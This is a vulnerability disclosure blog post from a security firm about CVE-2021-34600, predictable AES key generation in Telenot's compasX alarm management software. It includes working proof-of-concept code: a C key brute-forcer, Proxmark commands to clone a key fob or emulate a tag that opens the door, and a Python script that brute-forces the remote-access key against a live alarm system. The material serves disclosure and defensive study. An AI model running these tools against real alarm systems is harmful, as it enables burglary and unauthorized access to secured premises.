Telenot Complex: Insecure AES Key Generation

This blog post details our discovery of a vulnerability in the AES1 key generation of an alarm system widely used in Germany. Due to this flaw it was possible to clone the key fobs used with this system. A video demonstrating our proof of concept follows below. The flaw was found within compasX, the management software for alarm systems in a series named “complex,” which are manufactured by Telenot.2 The vulnerability was assigned CVE-2021-34600 and an advisory was released along with this blog post.

Telenot’s reaction to our disclosure was swift and professional. The issue with their software was quickly fixed, and a plan was produced for installers to ease the process of replacing affected AES keys. In this case, the remediation was not as simple as pushing out a new software update. The installers had to physically drive to affected systems to replace the AES keys in both the alarm system and the NFC tags.

Introduction

The complex alarm system uses MIFARE DESFire3 EV1 and EV24 NFC tags to authorize users. Remote management of the alarm system is possible using the compasX software, which uses the VdS 2465 protocol5 to communicate with the alarm system.

Initially, X41 only wanted to find an easy way to pull logs automatically from a Telenot complex alarm system. compasX, a GUI-only application, can display these logs but it does not lend itself very well for automation, unless one wants to use, e.g., WINE and xdotool6 or AutoIT7 to automate the mouse and keyboard input.

compasX communicates with the alarm system via TCP/IP. We wanted to see whether simply replaying the commands would make it return the logs. Thus, we threw it into our favorite disassembler and had a look at what was going on. We will be talking about version 30.1 here, but we expect that all versions older than 32.0 will behave similarly.

Among the imported code, there were srand()8 and rand(),9 which are called by various functions, such as TGrid_DesfireVerschl::Make_Zufalls_AES_Schluessel and TGrid_Zugang_Allgem::Make_Zufalls_AES_Schluessel, which mean create random AES key for DESFire encryption and general access, respectively.

Telenot CompleX: Insecure AES key generation

It turns out, both functions did the exact same thing, namely:

static uint8_t key[50];
memset(key, 0, 50);
srand(time());
for (int i = 0; i < 16; i++) {
    uint8_t random_byte = rand() % 0xFF;
    char random_char = wsprintfA("%02X", random_byte);
    strncat(key, random_char, 2);
    if (i < 15) {
        strcat(key, " ");
    }
}
_strupr(key);
return key;

This boils down to:

static uint8_t key[16];
memset(key, 0, 16);
srand(time());
for (int i = 0; i < 16; i++) {
    key[i] = rand() % 0xFF;
}
return key;

The AES keys generated using these functions are

  1. based on the system’s current Unix timestamp and
  2. generated using a cryptographically insecure pseudorandom number
    generator.

MIFARE DESFire EV1 seems to have first been introduced in 2006. Between 1 January 2006 (timestamp 1136073600) and 30 November 2021 (timestamp 1638230400), there were 502 million timestamps that could have been used as seeds.

Note that, even if the seed had not been time-based, rand() “generates a well-known sequence and is not appropriate for use as a cryptographic function.”9 While this quote is from Microsoft’s documentation about its own implementation, a comparable warning is missing from the documentation of the implementation of rand() used.

The currently recommended cryptographically secure pseudorandom number generator on modern Windows systems is BCryptGenRandom,10 which is part of the “Cryptography API: Next Generation.”11

Verifying our assumption

To verify that these functions were actually used, we grabbed AES keys generated by compasX for both the DESFire tags and remote access and created the following program. It finds the Unix timestamp of an AES key generated by compasX versions older than 32.0. It does this by first seeding srand() with a Unix timestamp and then comparing the output of rand() to the bytes in the real key. If we find a timestamp for which the output for each of the 16 calls to rand() matches each of the bytes in the key in turn, it is the correct timestamp.

// 2021, X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
// Finds the UNIX timestamp an AES key created with compasX version older than
// 32.0 has been generated at

#include <stdio.h>
#include <stdint.h>
#include <limits.h>
#include <time.h>

// The timestamp the search is supposed to start at (2007-01-01T00:00:00+00:00)
uint32_t timestamp = 1136073600;
// Insert an AES generated by compasX
uint8_t real_key[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint32_t seed = 0;

uint32_t borland_rand() {
    seed = (seed * 22695477) % UINT_MAX;
    seed = (seed + 1) % UINT_MAX;
    return (seed >> 16) & 0x7fff;
}

void borland_srand(uint32_t s) {
    seed = s;
    borland_rand();
}

int main() {
    while (1) {
        borland_srand(timestamp);
        if (timestamp == 1609459200) {
            break;
        }
        for (int i = 0; i < 16; i++) {
            if (borland_rand() % 0xFF != real_key[i])
                break;
            if (i == 15) {
                printf("%i", timestamp);
                return 0;
            }
        }
        timestamp++;
    }
}

Using this program, we were able to verify our assumption that the compasX version used to generate the AES keys indeed uses srand(time()) and rand() to generate both the AES key for DESFire NFC tags and the AES keys for remote access.

Practical impact

To ascertain the practical impact from using these insecure keys, we had to find where in the protocols they were used and how.

MIFARE DESFire NFC tags

Thanks to certain properties of the DESFire protocol used between the MIFARE DESFire tags and the reader in this system, the AES key can be brute-forced offline.

The alarm system and an authorized MIFARE DESFire tag store the same AES key. Each tag also has a unique 7-byte UID, which is known to the alarm system. The tag’s UID is additionally written to a file within the application on the tag by compasX. The mutual authentication and subsequent authorization between the tag and the reader work essentially like this (nonessential details omitted):12

  1. Application selection
    1. The reader selects an application on the tag.
  2. Authentication
    1. The reader signals the tag to start the authentication flow using a specific AES key known to both of them.
    2. The tag generates a 16-byte random number B, encrypts it with the key and sends this challenge, enc_B, to the reader.
    3. The reader decrypts enc_B to obtain B and rotates it one step to the left, resulting in rotlB. Next, it generates its own 16-byte random value A, appends rotlB to A, encrypts the result with the key, and finally, sends this encrypted challenge enc_A_rotlB to the tag.
    4. The tag decrypts the received challenge to obtain A and rotlB. It now verifies that B has been rotated correctly (terminating if not), rotates A to the left to obtain rotlA, encrypts that, and finally, sends enc_rotlA to the reader.
    5. The reader decrypts enc_rotlA and verifies that A has been rotated correctly by the tag, aborting if not.
  3. Authorization (secured with CMAC)
    1. The reader asks the tag for the contents of the file containing the UID.
    2. If the UID is known to the alarm system, the authorization is successful.

For successful authentication and authorization, two things are needed:

  1. The secret AES key
  2. The UID of an authorized tag

Obtaining the AES key

A tag can be emulated with hardware, like a Proxmark.13 By emulating parts of the above flow, an attacker can obtain the values needed to obtain the AES key via an offline brute-force attack.

For the attack, step 2 of the above authentication flow needs to be adapted, as encrypting a generated B to enc_B and returning that to the reader is not possible, since the AES key is unknown. Instead, an arbitrary value V is sent to the reader and stored. The reader decrypts the supplied V to a B unknown to the attacker, rotates it to the left to obtain rotlB, which is then appended to the randomly generated A, encrypted to form the challenge enc_A_rotlB and returned to the attacker’s device.

To obtain the AES key, the attacker now has to try all possible AES keys, until rotateLeft(decrypt(V)) matches the last 16 bytes of decrypt(enc_A_rotlB).

Since the seeds for the keys are based on a 32-bit timestamp, it is feasible to try all possible AES keys (proof-of-concept code below).

Obtaining a UID

If a smartphone with an NFC reading app is held near an authorized tag for fractions of a second, it can obtain the UID successfully from the tag. This works even through thin layers of fabric, like when a tag resides in a jeans pocket. Thus, such a UID could, for example, be obtained in a public place without arousing any suspicion.

Opening the door

The attacker, knowing both the AES key and the UID of an authorized tag, can now complete the authentication and authorization flow described above in two ways:

  1. Emulate the whole authentication flow with special hardware, like a Proxmark.
  2. Program a new tag with the AES key and store the UID of the known tag in the file with id 0 on the new tag.

Of note is that deployments with high security requirements typically need a PIN (4 or 6 digits) as a second factor. However, if a keypad for entering the PIN is installed outside the secure area or in place where it can be observed from outside the secure area, an attacker could observe the PIN being input or potentially look at the marks on the keypad.

Remote access

The VdS 2465 protocol is used for remote access, but not all complex systems are exposed to the Internet. To connect to an alarm system successfully, one also needs:

  • the key ID (which seems to be hard-coded to 12345 in all complex systems)
  • the management AES key
  • the user password (6 digits)

Remote access to the alarm system, even with only user privileges, allows (intended) access to the system’s logs. While the logs do not seem to contain the UIDs of tags used with the alarm system, they do provide information about, e.g., when the alarm system is activated or deactivated, which would assist an attacker in finding the ideal time to break in.

There are different ways to attack the alarm system, but they all require some knowledge of the VdS 2465 protocol being used. The actual protocol appears to be VdS 2465-S2:2006-06, but the specification for it does not seem to be available for download anymore. The VdS 2465 protocol document linked to earlier describes version 2018-02 of the protocol. The two versions, however, are similar and the document includes enough information about the 2006-06 version that we were able to reconstruct the old protocol without significant effort.

After compasX and the alarm system complete the TCP handshake, the alarm system begins sending its recipient counter (RC) at regular intervals. This is used by compasX in the following packet within its AES-encrypted header. It seems the alarm system does not ensure that this counter is set correctly. Additionally, at least for the two packets described below, the IV is set to 0.

Annotated hexdump of the first packet from compasX to the alarm system

Annotated hexdump of the response from alarm system to compasX

Network capture and offline brute-force

Capturing the initial handshake between compasX and the alarm system allows offline brute-forcing of the key, after which the exchange can be decrypted and the user password obtained.

Online brute-force

If the handshake cannot be captured, the AES key can be guessed online. This, however, takes a long time because the complex alarm system implements rate limiting: after 10 tries the alarm system stops accepting connections for approximately 155 s. Trying keys is further limited by the response time of the alarm system. It takes at least 25 s to try 10 keys. That means that at most 4800 keys can be tried in one day. There are 86,400 possible AES keys per day (one for every second). So, it takes 18 days to brute-force one whole day’s worth of keys in optimal conditions.

Even if one knows which week a remote access key was generated and assumes it would have been generated only within a 12-hour window and only on weekdays, that still results in 12 h × 5 d × 60 m × 60 s = 216,000 possible keys for 1 week. It would take 216,000 / 4800 = 45 days to try all of them.

Even a somewhat informed online brute-force attack does not seem very promising. However, a determined attacker might attempt this against high-value targets.

We have described two types of attack: physically going to the lock and capturing radio communications and an online brute-force attack that tries to guess the password. Neither attack is particularly efficient alone, but together, the combination is more powerful and much more likely to succeed.

More informed online brute-forcing

Since it is likely that both the DESFire key and the remote access AES key were generated around the same time, an attacker could vastly reduce the search space for the remote access key by first cracking the DESFire key. If it is assumed that the keys were generated within one hour of each other and that the timestamp of the DESFire key has already been discovered, it would now take only about 2 × 60 m × 60 s / 4800 = 1.5 days to try all of the keys, making the attack much more feasible.

Now, one still needs to find the correct user password. We did not test this part, but since there are 10^6 possible user PINs and assuming that the same rate limit that applies when guessing the AES key still applies, it would take at least 10^6 / 4800 ≈ 208 days to try all of them. If the rate limit does not apply, then this time is reduced to 10^6 / (((24 × 60 × 60) / 25) × 10) ≈ 29 days. This user password is set by the installer when creating a user, which means there is a good chance that the password is among the most used 6-digit PINs and could, thus, be found much more quickly.

Proof of concept

MIFARE DESFire

Obtaining a challenge from the reader

For this we use a Proxmark 3. The source code for this part can be found here. After following the installation instructions in the repository, a challenge can be obtained from the reader with the command below. Any UID can be used here. For example, 00112233445566 should work perfectly fine.

hf 14a getchallenge <uid>

Brute-forcing the AES key

The proof of concept described below can try all of the 502 million possible keys for a given V (tag challenge) and enc_A_rotlB (lock challenge) in a little over 3 minutes on a Ryzen 4750U.

//  Brute forces transponder AES keys generated by Telenot's compasX software
//  Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
//
//  This program is free software: you can redistribute it and/or modify
//  it under the terms of the GNU General Public License as published by
//  the Free Software Foundation, either version 3 of the License, or
//  (at your option) any later version.
//
//  This program is distributed in the hope that it will be useful,
//  but WITHOUT ANY WARRANTY; without even the implied warranty of
//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//  GNU General Public License for more details.
//
//  You should have received a copy of the GNU General Public License
//  along with this program.  If not, see <https://www.gnu.org/licenses/>.

// requires openssl-devel
// gcc -o brute_key -march=native -Ofast brute_key.c -lcrypto
//
// usage: ./brute_key <unix timestamp> <16 byte tag challenge> <32 byte lock challenge>

// makes it ~14% slower
//#define SPINNER

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <limits.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

uint32_t seed = 0;

uint32_t borland_rand() {
    seed = (seed * 22695477) % UINT_MAX;
    seed = (seed + 1) % UINT_MAX;
    return (seed >> 16) & 0x7fff;
}

void borland_srand(uint32_t s) {
    seed = s;
    borland_rand();
}

void make_key(uint32_t seed, uint8_t key[]) {
    borland_srand(seed);
    for (int i = 0; i < 16; i++) {
        key[i] = borland_rand() % 0xFF;
    }
}

void handleErrors(void) {
    ERR_print_errors_fp(stderr);
    abort();
}

// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message
int decrypt(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) {
    EVP_CIPHER_CTX *ctx;
    int len;
    int plaintext_len;

    if(!(ctx = EVP_CIPHER_CTX_new()))
        handleErrors();

    if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
        handleErrors();

    EVP_CIPHER_CTX_set_padding(ctx, 0);

    if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
        handleErrors();
    plaintext_len = len;

    if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
        handleErrors();
    plaintext_len += len;

    EVP_CIPHER_CTX_free(ctx);

    return plaintext_len;
}

int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) {
    size_t hexstr_len = strlen(hexstr);
    if (hexstr_len % 16) {
        return 1;
    }
    if (byte_len < hexstr_len/2) {
        return 2;
    }
    char *pos = &hexstr[0];
    for (size_t count = 0; *pos != 0; count++) {
        sscanf(pos, "%2hhx", &bytes[count]);
        pos += 2;
    }
    return 0;
}

int main (int argc, char* argv[]) {
    char spinner[] = "|/-\\";
    uint8_t counter = 0;
    uint8_t iv[16] = {0x00};
    uint8_t key[16] = {0x00};
    uint8_t dec_tag[16] = {0x00};
    uint8_t dec_lock[32] = {0x00};
    int start_time = time(NULL);
    uint32_t timestamp        = 0;
    uint8_t  tag_challenge[16]  = {0x00};
    uint8_t  lock_challenge[32] = {0x00};

    if (argc != 4) {
        printf("usage: ./$s <unix timestamp> <16 byte tag challenge> <32 byte lock challenge>", argv[0]);
        return 1;
    }

    timestamp = atoi(argv[1]);
    if(hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge)))
        return 2;
    if(hexstr_to_byte_array(argv[3], lock_challenge, sizeof(lock_challenge)))
        return 3;


    for (; timestamp < start_time; timestamp++) {
        make_key(timestamp, key);
        decrypt(tag_challenge, 16, key, iv, dec_tag);
        decrypt(lock_challenge, 32, key, tag_challenge, dec_lock);

        if (dec_tag[0] != dec_lock[16+15])
            goto try_next_timestamp;

        for (int i = 0; i < 15; i++)
            if (dec_tag[i+1] != dec_lock[i+16])
                goto try_next_timestamp;

        printf("\btimestamp: %i\nkey: ", timestamp);
        for (int i = 0; i < 16; i++) {
            printf("%02x", key[i]);
        }
        printf("\n");
        exit(0);

        try_next_timestamp:
#ifdef SPINNER
        if(timestamp % 500000 == 0) {
            counter = (counter + 1) % sizeof(spinner);
            printf("\b%c", spinner[counter]);
            fflush(stdout);
        }
#endif
    }
    printf("key not found\n");
    exit(2);
}

Opening the door

Using the Proxmark directly

With the Proxmark code above, one can now use the following command to emulate a tag and open the door:

hf 14a opendoor <uid> <key>

Using a real tag

Any reader capable of programming DESFire EV1 or EV2 tags can be used for this, including the Proxmark. The RfidResearchGroup/Iceman fork4 does this better than the official Proxmark 3 firmware, so the following commands are for that fork.

Create a new app. Its ID needs to be in the range 0xf518f0 to 0xf518ff:

hf mfdes createapp --aid f518f1 --dstalgo aes --numkeys 1

Set the correct key:

hf mfdes changekey --aid f518f1 -t aes --key 00000000000000000000000000000000 --newkey <your key>

Authenticate using the new key:

hf mfdes auth --aid f518f1 -n 0 -t aes -k <your key> --save

Create the file that will contain the UID:

hf mfdes createfile --aid f518f1 --fid 00 --rawtype 00 --rawrights 0000 --size 000007

Write the 7-byte UID of a real tag to the file:

hf mfdes write --aid f518f1 --fid 00 -d <uid>

Done. The tag will now open the door.

Remote access

Brute-forcing the AES key

Finding the AES key used for remote access by brute force is relatively simple, once the packet structure is known. An appropriate packet simply has to be constructed, encrypted, and sent to the alarm system. Whether the key is correct or not can be gauged by the size of the alarm system’s response. If its size is 276, the key is correct, otherwise the response will be much smaller. If the brute-force limit is reached, the alarm system will not respond at all and the script needs to sleep for an appropriate amount of time.

#!/usr/bin/env python3

# 2021 X41 D-Sec Gmbh
# Markus Vervier, Yaşar Klawohn


import sys, socket, time, binascii, random
from Cryptodome.Cipher import AES

# adjust these
timestamp = 1234567890
IP = "192.168.0.2"
PORT = 52516

sleep_seconds = 155
IV = bytes.fromhex("00000000000000000000000000000000")
IVLEN = 16


seed = 0
def srand(s):
  global seed
  seed = s
  rand()


def rand():
  global seed
  seed = (seed * 22695477) % 2**32
  seed = (seed + 1) % 2**32
  return (seed >> 16)&0x7fff


def gen_key(seed):
    key = []
    srand(seed)
    for i in range(16):
        key.append(rand() % 0xFF)
    return bytearray(key)


# function adapted from https://stackoverflow.com/questions/3949726/calculate-ip-checksum-in-python/3954192#3954192
# Licensed CC by-sa, © 2010 by Kevin Jacobs
def carry_around_add(a, b):
    c = a + b
    return (c & 0xffff) + (c >> 16)


# function adapted from https://stackoverflow.com/questions/3949726/calculate-ip-checksum-in-python/3954192#3954192
# Licensed CC by-sa, © 2010 by Kevin Jacobs
def checksum(msg):
    s = 0
    for i in range(0, len(msg), 2):
        w = msg[i] + (msg[i+1] << 8)
        s = carry_around_add(s, w)
    return (~s & 0xffff).to_bytes(2, byteorder="little")


def make_data(tc, crc, rc, fill_bytes):
    packet_without_crc = bytearray()
    packet_without_crc.extend(tc)
    packet_without_crc.extend(crc)
    packet_without_crc.extend(rc)
    packet_without_crc.extend(bytearray.fromhex("0282 0400 0102 0101"))
    packet_without_crc.extend(fill_bytes)
    return packet_without_crc


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Connecting to', IP, 'at port', PORT)
s.connect(IP, PORT))

r = s.recv(0x12)
while True:
    if len(r) == 0:
        print(f"reached brute-force limit. sleeping for {sleep_seconds}s.")
        s.close()
        time.sleep(sleep_seconds)
        print("continueing...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, PORT))
    elif len(r) == 276:
        print(f"found the key!")
        print(f"timestamp: {timestamp-1}, key: {binascii.hexlify(gen_key(timestamp-1))}")
        s.close()
        break

    if timestamp > int(time.time()):
        print(f"could not find the key :(")
        s.close()
        break

    tc = bytearray.fromhex("4141 4141")
    rc = bytearray.fromhex("1234 5678")
    fill_bytes = bytearray(110)
    tmp = make_data(tc, bytearray(2), rc, fill_bytes)
    crc = checksum(tmp)
    fill_bytes = bytearray(110)
    p = make_data(tc, crc, rc, fill_bytes)

    with open("request", "wb") as rq:
        rq.write(p)
    cipher = AES.new(gen_key(timestamp), AES.MODE_CBC, iv=IV)
    enc_data = cipher.encrypt(p)
    # prepend key id and packet length
    packet = bytearray.fromhex("30390080")
    packet.extend(enc_data)
    print(f"trying timestamp {timestamp}")
    s.sendall(packet)
    r = s.recv(0xffff)
    timestamp += 1

s.close()

Brute-forcing the user PIN

We did not create a proof of concept for brute-forcing the user PIN.

Timeline

About X41 D-SEC GmbH

X41 is an expert provider for application security services. Having extensive
industry experience and expertise in the area of information security, a strong
core security team of world class security experts enables X41 to perform
premium security services.

Fields of expertise in the area of application security are security centered
code reviews, binary reverse engineering and vulnerability discovery. Custom
research and IT security consulting and support services are core competencies
of X41.

  1. https://de.wikipedia.org/wiki/Advanced_Encryption_Standard 

  2. https://www.telenot.com/ 

  3. https://en.wikipedia.org/wiki/MIFARE#MIFARE_DESFire_family 

  4. https://www.nxp.com/products/rfid-nfc/mifare-hf/mifare-desfire/mifare-desfire-ev2:MIFARE_DESFIRE_EV2_2K_8K  2

  5. https://shop.vds.de/download/vds-2465-2/ 

  6. https://github.com/jordansissel/xdotool 

  7. https://www.autoitscript.com/site/ 

  8. https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/srand?view=msvc-170 

  9. https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/rand?view=msvc-170  2

  10. https://docs.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptgenrandom 

  11. https://docs.microsoft.com/en-us/windows/win32/seccng/cng-portal 

  12. https://raw.githubusercontent.com/revk/DESFireAES/master/DESFire.pdf 

  13. https://proxmark.com/